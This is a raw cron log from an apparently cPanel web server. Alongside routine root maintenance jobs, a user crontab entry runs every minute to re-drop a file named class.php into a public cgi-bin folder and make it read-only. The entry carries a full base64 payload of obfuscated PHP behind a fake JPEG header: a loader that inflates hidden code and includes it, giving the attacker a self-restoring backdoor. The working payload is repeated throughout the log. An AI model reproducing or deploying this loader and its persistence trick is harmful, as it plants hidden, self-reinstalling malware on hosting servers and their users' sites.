Sep  6 06:49:01 server CROND[7895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:49:01 server CROND[7896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:49:01 server CROND[7898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:50:01 server CROND[8286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:50:01 server CROND[8289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:50:01 server CROND[8290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:50:01 server CROND[8295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:50:01 server CROND[8294]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:50:01 server CROND[8298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:50:01 server CROND[8307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:50:01 server CROND[8309]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:50:01 server CROND[8308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:51:01 server CROND[9168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:51:01 server CROND[9169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:51:01 server CROND[9170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:52:01 server CROND[9548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:52:01 server CROND[9549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:52:01 server CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:53:01 server CROND[9986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:53:01 server CROND[9987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:53:01 server CROND[9988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:54:01 server CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:54:01 server CROND[10478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:54:01 server CROND[10479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:55:01 server CROND[10872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:55:01 server CROND[10874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:55:01 server CROND[10875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:55:01 server CROND[10878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:55:01 server CROND[10877]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:55:01 server CROND[10876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:55:01 server CROND[10880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:56:01 server CROND[11733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:56:01 server CROND[11734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:56:01 server CROND[11735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:57:01 server CROND[12112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:57:01 server CROND[12113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:57:01 server CROND[12114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:57:01 server CROND[12115]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:58:01 server CROND[12549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:58:01 server CROND[12550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:58:01 server CROND[12551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:59:01 server CROND[12944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:59:01 server CROND[12945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:59:01 server CROND[12946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:00:01 server CROND[13511]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 07:00:01 server CROND[13513]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 07:00:01 server CROND[13516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 07:00:01 server CROND[13518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:00:01 server CROND[13519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 07:00:01 server CROND[13517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:00:01 server CROND[13515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
